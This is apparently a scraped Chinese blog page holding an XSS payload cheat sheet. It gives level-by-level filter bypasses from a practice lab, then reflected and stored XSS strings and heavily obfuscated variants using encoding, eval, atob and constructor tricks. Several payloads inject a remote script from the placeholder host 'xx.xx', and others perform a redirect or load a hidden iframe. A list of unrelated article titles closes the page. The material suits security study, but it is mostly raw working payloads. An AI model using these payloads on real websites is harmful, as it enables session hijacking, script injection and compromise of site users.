xss常见方式
1.<script>alert(1)</script>
2.源码第一个,[<]被转义,因此在第二个里
"><script>alert(1)</script><a class="
3.源码对第一个,第二个对[<]做了转义,是单引
<input name=keyword value=' '>' onfocus='alert(1)<input name=keyword value='' onfocus='alert(1)'>
4.<input name=keyword value=" ">" onfocus="alert(1)<input name=keyword value="" onfocus="alert(1)">
5.双引号,对on进行过滤
"><ScRiPt>alert(1)</script><a class="
6.对script进行过滤
<input name=keyword value=" ">"><a href="javascript:alert(1)">点击我</a class="<input name=keyword value=" "><a href="javascript:alert(1)">点击我</a class=" ">
7.对href进行了过滤
<input name=keyword value=" ">"><ScRiPt>alert(1)</script><a class="<input name=keyword value=""><ScRiPt>alert(1)</script><a class="">
8.对script进行过滤
<input name=keyword value=" ">"><scrscriptipt>alert(1)</scscriptript><a class="<input name=keyword value=""><scrscriptipt>alert(1)</scscriptript><a class="">
9.对script进行了过滤,使用伪事件(用tab进行反过滤)
<a href=" ">javascript:alert(1)<a href="javascript:alert(1)">
10.发现只有使用http://,且他们为完整的就行,伪事件(将r转化为10进制)
<a href=" ">javascript:alert('http://')<a href="javascript:alert('http://')">
11.有三个input标签被隐藏
<input name="t_sort" value="333" type="hidden">&t_sort=333" onclick=alert(1) type="text<input name="t_sort" value="333" onclick=alert(1)type="text " type="hidden">
<script>alert('xss')</script> 最简单常用的poc
"><script>alert(1)<script>
<a href='' onclick=alert('xss')>type</a> 页面出现一个按钮type,点击触发onclick,然后执行弹窗
<img src=http://1.1.1.1/a.ipg onerror=alert('xss')> 加载图片,给一个错误的图片地址,错误则执行弹窗
<script>window.location=‘http://1.1.1.1'</script> 重定向到指定的url地址
<iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
onmouseover=alert(document.domain) 闭合属性,构造on事件
onmousemove=alert(1) <input type=”text ” onfocus=prompt(1) autofocus> 利用input的autofocus属性,无需用户交互即可触发xss.
htmlspecialchars:输入常用符号,看哪些符号没被实体编码。
如输入在herf或src里面:javascript:alert(1)
js输出,输入的数据由js变量接收,通过</script>闭合即可
反射性
<script>alert(‘xss’)</script>
<a href='' onclick=alert('xss')>type</a>
<img src=1 onerror=alert(1)>
<SCRIPT>alert(1)</SCRIPT>
<Sscriptcript>alert(1)</Sscriptcript>
遗漏标签
<details open ontoggle=top['al'%2B'ert'](1) >
<details open ontoggle=self['al'%2B'ert'](1) >
<details open ontoggle=parent['al'%2B'ert'](1) >
<details open ontoggle=frames['al'%2B'ert'](1) >
<details open ontoggle=content['al'%2B'ert'](1) >
<details open ontoggle=window['al'%2B'ert'](1) > JS8编码:
<details open ontoggle=top['al\145rt'](1) >
<details open ontoggle=top['\141\154\145\162\164'](1) >
JS16编码:
<details open ontoggle=top['al\x65rt'](1) >
其他
<details open ontoggle=top[/al/.source%2B/ert/.source](1) > toString()
<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); > <img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
<details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')> 将alert(1)编码,因为有eval存在
<details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')> eval函数的补充
<svg/onload=setTimeout`alert\u0028233\u0029`>
<svg/onload=setInterval('al'%2b'ert(1)')>
拆分与编码
<svg/onload=\u0073etInterval(appendChild(createElement('script')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('sc\162ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(appendChild(createElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
<svg/onload=\u0073etInterval(\u0061ppendChild(\u0063reateElement('scr'%2b'ipt')).src='http://xx.xx/eeW')>
结合函数:
<iframe onload=s=createElement('script');body.appendChild(s);s.src=['http','://','xx.xx','/eeW'].join('') >
<svg/onload=s=createElement('script');body.appendChild(s);s.src=['http']%2B['://']%2B['xx.xx']%2B['/eeW'].join('') >
<svg/onload=s=\u0063reateElement('scr'%2b'ipt');\u0062ody.\u0061ppendChild(s);s.src='http://x'.concat('x.xx/','eeW'); > constructor属性
<svg/onload=Set.constructor('al'%2b'ert(1)')()>
<svg/onload=Set.constructor(appendChild(createElement('script')).src='http://xx.xx/eeW')()> <svg/onload=Set.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Map.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=clear.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=Array.constructor`al\x65rt\x28/xss/\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x28/xss/\x29```> 存储型
<script>alert(‘xss’)</script>
<a href='' onclick=alert('xss')>type</a>
<img src=1 onerror=alert(1)>
<SCRIPT>alert(1)</SCRIPT>
<Sscriptcript>alert(1)</Sscriptcript>
<a href=javascript:alert(1)>a</a>
<a href=javascript:alert(1)>a</a>
$nickname = htmlentities(@$_POST['nickname']);//昵称
xss常见方式的更多相关文章
- C# DataGridView绑定数据源的几种常见方式
开始以前,先认识一下WinForm控件数据绑定的两种形式,简单数据绑定和复杂数据绑定. 1. 简单的数据绑定 例1 using (SqlConnection conn = new SqlConnect ...
- jedis操作redis的几种常见方式总结
Redis是一个著名的key-value存储系统,也是nosql中的最常见的一种,这篇文章主要给大家总结了关于在java中jedis操作redis的几种常见方式,文中给出了详细的示例代码供大家参考学习 ...
- Tomcat 部署项目的几种常见方式
转自:https://www.cnblogs.com/yuht/p/5714624.html https://www.cnblogs.com/ysocean/p/6893446.html Tomcat ...
- 适用于app.config与web.config的ConfigUtil读写工具类 基于MongoDb官方C#驱动封装MongoDbCsharpHelper类(CRUD类) 基于ASP.NET WEB API实现分布式数据访问中间层(提供对数据库的CRUD) C# 实现AOP 的几种常见方式
适用于app.config与web.config的ConfigUtil读写工具类 之前文章:<两种读写配置文件的方案(app.config与web.config通用)>,现在重新整理一 ...
- 遍历集合的常见方式,排序,用lambda表示是怎样的
Collection集合的功能: Object[] toArray() 将集合转成数组 Iterator iterator() 通过方法的调用 获取I ...
- 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧
风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说
- 恶意软件开发——shellcode执行的几种常见方式
一.什么是shellcode? shellcode是一小段代码,用于利用软件漏洞作为有效载荷.它之所以被称为"shellcode",是因为它通常启动一个命令shell,攻击者可以从 ...
- XSS注入方式和逃避XSS过滤的常用方法(整理)
(转自黑吧安全网http://www.myhack58.com/) web前端开发常见的安全问题就是会遭遇XSS注入,而常见的XSS注入有以下2种方式: 一.html标签注入 这是最常见的一种,主要入 ...
- XSS常见攻击与防御
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意 ...
随机推荐
- Mybatis数据连接池的配置---增删改查(以及遇见的问题)
1.首先创建项目和各个文件,如图所示: 2.配置相关数据库连接 在jdbc.properties中加入 1 db.driver=com.mysql.jdbc.Driver 2 db.url=jdbc: ...
- MySQL explain type 连接类型
查看使用的数据库版本 select version(); 5.7.30 官方提供的示例数据sakila 下载地址: https://dev.mysql.com/doc/index-other.html ...
- js笔记14
1.作用域面试题 画图分析 2.DOM document object model 节点树状图 document>documentElement>body>tagname 3.我们常 ...
- 二、RabbitMQ 进阶特性及使用场景 [.NET]
前言 经过上一篇的介绍,相信大家对RabbitMQ 的各种概念有了一定的了解,及如何使用RabbitMQ.Client 去发送和消费消息. 特性及使用场景 1. TTL 过期时间 TTL可以用来指定q ...
- Custom Controller CollectionQT样式自定义 003 :Bubblemessage 气泡消息窗
效果Demo 思路大致上是加定时器,触发完成出现 - 停留 - 消失的效果. 源码:https://github.com/linzD00/CustomControllerLibrary
- Burning Bridges 求tarjan求割边
Burning Bridges 给出含有n个顶点和m条边的连通无向图,求出所有割边的序号. 1 #include <cstdio> 2 #include <cstring> 3 ...
- Docker:docker部署PXC-5.7.21(mysql5.7.21)集群搭建负载均衡实现双机热部署方案
单节点数据库弊端 大型互联网程序用户群体庞大,所以架构必须要特殊设计 单节点的数据库无法满足性能上的要求 单节点的数据库没有冗余设计,无法满足高可用 推荐Mysql集群部署方案 PXC (Percon ...
- 面试:MyBatis面试总结
1.什么是Mybatis? (1)Mybatis是一个半ORM(对象关系映射)框架,它内部封装了JDBC,开发时只需要关注SQL语句本身,不需要花费精力去处理加载驱动.创建连接.创建statement ...
- svn创建新分支报错:svn: E155015: Aborting commit: XXX remains in conflict
用diea在对svn创建新分支的时候报错,错误为 svn: E155015: Aborting commit: XXX remains in conflict 百度和查阅资料后得知,此错误为分支被拉取 ...
- java.util.Date 与 java.sql.Date
java.sql.Date 继承 java.util.Date 区别: 1.java.sql.Date 一般用于数据库 2.java.sql.Date 没有时分秒,涉及时分秒的函数都会报异常(且这些方 ...